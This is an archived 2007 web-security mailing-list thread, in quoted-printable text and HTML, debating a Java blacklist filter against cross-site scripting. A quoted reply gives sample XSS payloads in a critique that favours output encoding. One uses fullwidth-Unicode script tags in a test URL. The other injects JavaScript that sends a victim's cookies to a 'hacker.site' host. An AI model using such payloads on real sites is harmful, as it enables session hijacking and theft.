[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

Re: [WEB SECURITY] Re: [Webappsec] xss filter to protect from xss attacks



--0-1901347583-1169579154=:61192
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable

I agree that it does not covers all the websites. For examples blogs which =
lets you enter certain html characters or the mathematics site as you menti=
oned, but then in my opinion 5-10% of the websites would require such data =
and even those sites would not require in all of the input. Most of the web=
sites in their regular functionality would not even need the filtered chara=
cters here as input. =0A=0AAnti xss library or such options exist but there=
 are two things i wanted to mention about them=0A=0A1. How many developers =
would put in an effort to understand the library and use them as directed. =
This is a very simple approach and any java developer would be able to unde=
rstand this. Moreover, it is very easy to imlpement.=0A2. This is a very li=
ghtweight module as compared to an anti xss library. In a production enviro=
nment why would you want to add more CPU processing when you dont need it. =
With my example this is as simple as it gets for the websites which really =
don't need any of the blacklisted characters here.=0A=0AAlso,=0AEven this a=
pproach is considered as a blacklisted characters approach, in my opinion, =
these are the characters which are used in combination to perform an attack=
(for example using backslash as escape character, 0x for hex, etc). So by b=
locking them we cover most of the basis (when i say most, i mean i am not s=
ure if i missed on any character and hence posted here for my fellow appsec=
 professionals to uncover any such character). =0A=0A=0ALastly -=0AOne thin=
g i would like to point out here is that in my personal opinion more then 4=
0% of the code in the production is a result of copy paste from the interne=
t. Developers are looking for a solution which is easier to understand and =
implement. My solution here may be limited for certain types of websites bu=
t can definitely work for most of them.=0A=0AUnless a proper anti xss libra=
ry is built into the framework, there is a bigger chance that the developer=
s might not use it properly. This code here can fix most of the vulnerabili=
ties. Agreed not all but then thats why i posted on these forums to get ide=
as to build this into a more robust and reusable xss filter.=0A =0ACheers,=
=0A =0AAnurag Agarwal=0A =0ASEEC - An application security search engine=0A=
Web: www.attacklabs.com , www.myappsecurity.com=0AEmail : anurag.agarwal@ya=
hoo.com=0ABlog : http://myappsecurity.blogspot.com=0A =0A=0A=0A=0A----- Ori=
ginal Message ----=0AFrom: celf <celf@cudge.org>=0ATo: "webappsec @OWASP" <=
webappsec@lists.owasp.org>=0ACc: WASC Forum <websecurity@webappsec.org>=0AS=
ent: Tuesday, January 23, 2007 8:25:14 AM=0ASubject: [WEB SECURITY] Re: [We=
bappsec] xss filter to protect from xss attacks=0A=0A=0AHello,=0A=0AThe mai=
n problem I see with it is that it could corrupt your data. There=0Amay be =
cases when you actually need those characters to be stored. Take=0Afor exam=
ple, mathematics. It's not uncommon for greater-than, etc.,=0Asymbols to be=
 used. Input validation as a means to make output safe does=0Anot work, at =
least not for very long. The simple approach to protecting=0Aagainst XSS is=
 to encode it properly for the output layer.=0A=0AI maintain that the best =
way to do this is to format output characters=0Ainto their appropriate HTML=
 entities (JavaScript output=0Anotwithstanding). So, < becomes &lt; or &#60=
;. In fact, I've a page that=0Adoes no input validation at all, but transfo=
rms every output character=0ANOT A-Z0-9 into an HTML entity. This works eve=
n for multi-byte characters.=0A=0ASecond, your filtering approach is the st=
andard "blacklist" approach,=0Aand while it may fine for most things, there=
 will be circumstances when=0Ait won't. Take for example:=0A=0Ahttp://www.a=
ttacklabs.com/xssfilter/filter?html=3D%uff1cscript%uff1ealert('xss')%uff1c/=
script%uff1e&B1=3DSubmit=0A=0AOn your site, this simple attack does not wor=
k. However, there is a=0Aknown vulnerability in .NET <=3D 1.1 that does all=
ow this script to=0Aexecute. Note that I didn't try very hard, someone else=
 YMMV.=0A=0Ahttp://lists.seifried.org/pipermail/security/2005-February/0070=
54.html=0A=0AFinally, your filter won't work for dynamic paramters being wr=
itten into=0AJavaScript (which I see all the time as an XSS vector), e.g.,=
=0A=0Acode:=0Aresponse.write("<script>x=3D'"&<%=3Dserver_side_var%>&"';aler=
t(x);</script>")=0A=0Aexploit (sending this as the server side param value)=
:=0Aa'; document.location=3D'hacker.site?cookies=3D'+document.cookies;var y=
=3D'a=0A=0ASo, your approach works, it's just tough to maintain when new ex=
ploits=0Acome out or when not applied to a very specific case. Admittedly, =
my=0Aapproach isn't complete here either, but I'm sure others have more to =
add.=0A=0A-c=0A=0Aanurag.agarwal@yahoo.com wrote:=0A> The source code is up=
loaded to the page. You can either view it=0A> at http://myappsecurity.blog=
spot.com/2007/01/xss-filter-to-protect-from-xss-attacks.html or=0A> downloa=
d the java file at http://www.attacklabs.com/xssfilter/XSSFilter.java=0A>  =
=0A> The url to test this filter is http://www.attacklabs.com/xssfilter/=0A=
>  =0A> =0A> Cheers,=0A> =0A>  =0A> =0A> Anurag Agarwal=0A> =0A>  =0A> =0A>=
 SEEC - An application security search engine <http://www.myappsecurity.com=
/>=0A> =0A> Web: www.attacklabs.com <http://www.attacklabs.com/> ,=0A> www.=
myappsecurity.com <http://www.myappsecurity.com/>=0A> =0A> Email : anurag.a=
garwal@yahoo.com <mailto:anurag.agarwal@yahoo.com>=0A> =0A> Blog : http://m=
yappsecurity.blogspot.com=0A> <http://myappsecurity.blogspot.com/>=0A> =0A>=
  =0A> =0A> =0A> =0A> ----- Original Message ----=0A> From: Amit Klein <aks=
ecurity@gmail.com>=0A> To: Anurag Agarwal <anurag.agarwal@yahoo.com>=0A> Cc=
: WASC Forum <websecurity@webappsec.org>; "webappsec @OWASP"=0A> <webappsec=
@lists.owasp.org>=0A> Sent: Monday, January 22, 2007 11:50:06 PM=0A> Subjec=
t: Re: [Webappsec] xss filter to protect from xss attacks=0A> =0A> Anurag A=
garwal wrote:=0A>> I have created a xss filter to protect from xss attacks.=
 Though i have=0A>> filtered only for 8 characters but i was able to test a=
gainst all the=0A>> attacks mentioned in the RSnake's cheat sheet. Appscan =
was not able to=0A>> detect any xss attacks on it. I request the applicatio=
n security=0A>> community to help test this filter. 90% i am sure that you =
wont be=0A>> able to perform any xss attack on it, the rest 10% i will find=
 out=0A>> after the feedback from the community. For the curious mind, it i=
s=0A>> written in java=0A> If this is an open source project - then where i=
s the source code? if=0A> it's not - then why should we bother testing it?=
=0A> =0A> =0A> ------------------------------------------------------------=
------------=0A> =0A> _______________________________________________=0A> W=
ebappsec mailing list=0A> Webappsec@lists.owasp.org=0A> http://lists.owasp.=
org/mailman/listinfo/webappsec=0A=0A=0A------------------------------------=
----------------------------------------=0AThe Web Security Mailing List: =
=0Ahttp://www.webappsec.org/lists/websecurity/=0A=0AThe Web Security Mailin=
g List Archives: =0Ahttp://www.webappsec.org/lists/websecurity/archive/=0Ah=
ttp://www.webappsec.org/rss/websecurity.rss [RSS Feed]
--0-1901347583-1169579154=:61192
Content-Type: text/html; charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable

<html><head><style type=3D"text/css"><!-- DIV {margin:0px;} --></style></he=
ad><body><div style=3D"font-family:arial, helvetica, sans-serif;font-size:1=
0pt"><P>I agree that it does not covers all the websites. For examples blog=
s which lets you enter certain html characters or the mathematics site as y=
ou mentioned, but then in my opinion 5-10% of the websites would require su=
ch data and even those sites would not require&nbsp;in all of the input. Mo=
st of the websites in their regular functionality would not even need the f=
iltered characters here as input. </P>=0A<P>&nbsp;</P>=0A<P>Anti xss librar=
y or such options exist but there are two things i wanted to mention about =
them</P>=0A<P>&nbsp;</P>=0A<P>1. How many developers would put in an effort=
 to understand the library and use them as directed. This is a very simple =
approach and any java developer would be able to understand this. Moreover,=
 it is very easy to imlpement.</P>=0A<P>2. This is a very lightweight modul=
e as compared to an anti xss library. In a production environment why would=
 you want to add more CPU processing when you dont need it. With my example=
 this is as simple as it gets for the websites&nbsp;which really don't need=
 any of the blacklisted characters here.</P>=0A<P>&nbsp;</P>=0A<P>Also,</P>=
=0A<P>Even this approach is considered as a&nbsp;blacklisted characters app=
roach, in my opinion, these are the characters which&nbsp;are used in combi=
nation to perform an attack(for example using backslash as escape character=
, 0x for hex, etc). So by blocking them we cover most of the basis (when i =
say most, i mean i am not sure if i missed on any character and hence poste=
d here for my fellow appsec professionals to uncover any such character). <=
/P>=0A<P>&nbsp;</P>=0A<DIV></DIV>=0A<DIV>&nbsp;</DIV>=0A<DIV>Lastly -</DIV>=
=0A<DIV>One thing i would like to point out here is that in my personal opi=
nion more then 40% of the code in the production is a result of copy paste =
from the internet. Developers are looking for&nbsp;a solution which is&nbsp=
;easier to understand and implement. My solution here may be limited for ce=
rtain types of websites but&nbsp;can definitely work for most of them.</DIV=
>=0A<DIV>&nbsp;</DIV>=0A<DIV>Unless a proper anti xss library is built into=
 the framework, there is a bigger chance that the developers might not use =
it properly. This code here can fix most of the vulnerabilities. Agreed not=
 all but then thats why i posted on these forums to get ideas to build this=
 into a more robust and reusable xss filter.</DIV>=0A<DIV>&nbsp;</DIV>=0A<P=
>Cheers,</P>=0A<P>&nbsp;</P>=0A<P>Anurag Agarwal</P>=0A<P>&nbsp;</P>=0A<P><=
A href=3D"http://www.myappsecurity.com/";>SEEC - An application security sea=
rch engine</A></P>=0A<P>Web:&nbsp;<A href=3D"http://www.attacklabs.com/";>ww=
w.attacklabs.com</A>&nbsp;, <A href=3D"http://www.myappsecurity.com/";>www.m=
yappsecurity.com</A></P>=0A<P>Email : <A href=3D"mailto:anurag.agarwal@yaho=
o.com">anurag.agarwal@yahoo.com</A></P>=0A<P>Blog : <A href=3D"http://myapp=
security.blogspot.com/">http://myappsecurity.blogspot.com</A></P>=0A<P>&nbs=
p;</P>=0A<DIV style=3D"FONT-SIZE: 10pt; FONT-FAMILY: arial, helvetica, sans=
-serif"><BR><BR>=0A<DIV style=3D"FONT-SIZE: 12pt; FONT-FAMILY: times new ro=
man, new york, times, serif">----- Original Message ----<BR>From: celf &lt;=
celf@cudge.org&gt;<BR>To: "webappsec @OWASP" &lt;webappsec@lists.owasp.org&=
gt;<BR>Cc: WASC Forum &lt;websecurity@webappsec.org&gt;<BR>Sent: Tuesday, J=
anuary 23, 2007 8:25:14 AM<BR>Subject: [WEB SECURITY] Re: [Webappsec] xss f=
ilter to protect from xss attacks<BR><BR>=0A<DIV>Hello,<BR><BR>The main pro=
blem I see with it is that it could corrupt your data. There<BR>may be case=
s when you actually need those characters to be stored. Take<BR>for example=
, mathematics. It's not uncommon for greater-than, etc.,<BR>symbols to be u=
sed. Input validation as a means to make output safe does<BR>not work, at l=
east not for very long. The simple approach to protecting<BR>against XSS is=
 to encode it properly for the output layer.<BR><BR>I maintain that the bes=
t way to do this is to format output characters<BR>into their appropriate H=
TML entities (JavaScript output<BR>notwithstanding). So, &lt; becomes &amp;=
lt; or &amp;#60;. In fact, I've a page that<BR>does no input validation at =
all, but transforms every output character<BR>NOT A-Z0-9 into an HTML entit=
y. This works even for multi-byte characters.<BR><BR>Second, your filtering=
 approach is the standard "blacklist" approach,<BR>and while it may fine fo=
r most things, there will be circumstances when<BR>it
 won't. Take for example:<BR><BR><A href=3D"http://www.attacklabs.com/xssfi=
lter/filter?html=3D%uff1cscript%uff1ealert(" target=3D_blank script%uff1e&a=
mp;B1=3D"Submit'" xss?)%uff1c>http://www.attacklabs.com/xssfilter/filter?ht=
ml=3D%uff1cscript%uff1ealert('xss')%uff1c/script%uff1e&amp;B1=3DSubmit</A><=
BR><BR>On your site, this simple attack does not work. However, there is a<=
BR>known vulnerability in .NET &lt;=3D 1.1 that does allow this script to<B=
R>execute. Note that I didn't try very hard, someone else YMMV.<BR><BR><A h=
ref=3D"http://lists.seifried.org/pipermail/security/2005-February/007054.ht=
ml" target=3D_blank>http://lists.seifried.org/pipermail/security/2005-Febru=
ary/007054.html</A><BR><BR>Finally, your filter won't work for dynamic para=
mters being written into<BR>JavaScript (which I see all the time as an XSS =
vector), e.g.,<BR><BR>code:<BR>response.write("&lt;script&gt;x=3D'"&amp;&lt=
;%=3Dserver_side_var%&gt;&amp;"';alert(x);&lt;/script&gt;")<BR><BR>exploit =
(sending this as the server side
 param value):<BR>a'; document.location=3D'hacker.site?cookies=3D'+document=
.cookies;var y=3D'a<BR><BR>So, your approach works, it's just tough to main=
tain when new exploits<BR>come out or when not applied to a very specific c=
ase. Admittedly, my<BR>approach isn't complete here either, but I'm sure ot=
hers have more to add.<BR><BR>-c<BR><BR>anurag.agarwal@yahoo.com wrote:<BR>=
&gt; The source code is uploaded to the page. You can either view it<BR>&gt=
; at <A href=3D"http://myappsecurity.blogspot.com/2007/01/xss-filter-to-pro=
tect-from-xss-attacks.html" target=3D_blank>http://myappsecurity.blogspot.c=
om/2007/01/xss-filter-to-protect-from-xss-attacks.html</A> or<BR>&gt; downl=
oad the java file at <A href=3D"http://www.attacklabs.com/xssfilter/XSSFilt=
er.java" target=3D_blank>http://www.attacklabs.com/xssfilter/XSSFilter.java=
</A><BR>&gt;&nbsp;&nbsp;<BR>&gt; The url to test this filter is <A href=3D"=
http://www.attacklabs.com/xssfilter/";
 target=3D_blank>http://www.attacklabs.com/xssfilter/</A><BR>&gt;&nbsp;&nbs=
p;<BR>&gt; <BR>&gt; Cheers,<BR>&gt; <BR>&gt;&nbsp;&nbsp;<BR>&gt; <BR>&gt; A=
nurag Agarwal<BR>&gt; <BR>&gt;&nbsp;&nbsp;<BR>&gt; <BR>&gt; SEEC - An appli=
cation security search engine &lt;<A href=3D"http://www.myappsecurity.com/"=
 target=3D_blank>http://www.myappsecurity.com/</A>&gt;<BR>&gt; <BR>&gt; Web=
: <A href=3D"http://www.attacklabs.com/"; target=3D_blank>www.attacklabs.com=
</A> &lt;<A href=3D"http://www.attacklabs.com/"; target=3D_blank>http://www.=
attacklabs.com/</A>&gt; ,<BR>&gt; <A href=3D"http://www.myappsecurity.com/"=
 target=3D_blank>www.myappsecurity.com</A> &lt;<A href=3D"http://www.myapps=
ecurity.com/" target=3D_blank>http://www.myappsecurity.com/</A>&gt;<BR>&gt;=
 <BR>&gt; Email : anurag.agarwal@yahoo.com &lt;mailto:anurag.agarwal@yahoo.=
com&gt;<BR>&gt; <BR>&gt; Blog : <A href=3D"http://myappsecurity.blogspot.co=
m/" target=3D_blank>http://myappsecurity.blogspot.com</A><BR>&gt; &lt;<A hr=
ef=3D"http://myappsecurity.blogspot.com/";
 target=3D_blank>http://myappsecurity.blogspot.com/</A>&gt;<BR>&gt; <BR>&gt=
;&nbsp;&nbsp;<BR>&gt; <BR>&gt; <BR>&gt; <BR>&gt; ----- Original Message ---=
-<BR>&gt; From: Amit Klein &lt;aksecurity@gmail.com&gt;<BR>&gt; To: Anurag =
Agarwal &lt;anurag.agarwal@yahoo.com&gt;<BR>&gt; Cc: WASC Forum &lt;websecu=
rity@webappsec.org&gt;; "webappsec @OWASP"<BR>&gt; &lt;webappsec@lists.owas=
p.org&gt;<BR>&gt; Sent: Monday, January 22, 2007 11:50:06 PM<BR>&gt; Subjec=
t: Re: [Webappsec] xss filter to protect from xss attacks<BR>&gt; <BR>&gt; =
Anurag Agarwal wrote:<BR>&gt;&gt; I have created a xss filter to protect fr=
om xss attacks. Though i have<BR>&gt;&gt; filtered only for 8 characters bu=
t i was able to test against all the<BR>&gt;&gt; attacks mentioned in the R=
Snake's cheat sheet. Appscan was not able to<BR>&gt;&gt; detect any xss att=
acks on it. I request the application security<BR>&gt;&gt; community to hel=
p test this filter. 90% i am sure that you wont be<BR>&gt;&gt; able to perf=
orm any xss
 attack on it, the rest 10% i will find out<BR>&gt;&gt; after the feedback =
from the community. For the curious mind, it is<BR>&gt;&gt; written in java=
<BR>&gt; If this is an open source project - then where is the source code?=
 if<BR>&gt; it's not - then why should we bother testing it?<BR>&gt; <BR>&g=
t; <BR>&gt; ---------------------------------------------------------------=
---------<BR>&gt; <BR>&gt; _______________________________________________<=
BR>&gt; Webappsec mailing list<BR>&gt; Webappsec@lists.owasp.org<BR>&gt; <A=
 href=3D"http://lists.owasp.org/mailman/listinfo/webappsec"; target=3D_blank=
>http://lists.owasp.org/mailman/listinfo/webappsec</A><BR><BR><BR>---------=
-------------------------------------------------------------------<BR>The =
Web Security Mailing List: <BR><A href=3D"http://www.webappsec.org/lists/we=
bsecurity/" target=3D_blank>http://www.webappsec.org/lists/websecurity/</A>=
<BR><BR>The Web Security Mailing List Archives: <BR><A
 href=3D"http://www.webappsec.org/lists/websecurity/archive/"; target=3D_bla=
nk>http://www.webappsec.org/lists/websecurity/archive/</A><BR><A href=3D"ht=
tp://www.webappsec.org/rss/websecurity.rss" target=3D_blank>http://www.weba=
ppsec.org/rss/websecurity.rss</A> [RSS Feed]</DIV></DIV><BR></DIV></div></b=
ody></html>
--0-1901347583-1169579154=:61192--



Brought to you by http://www.webappsec.org
Search this site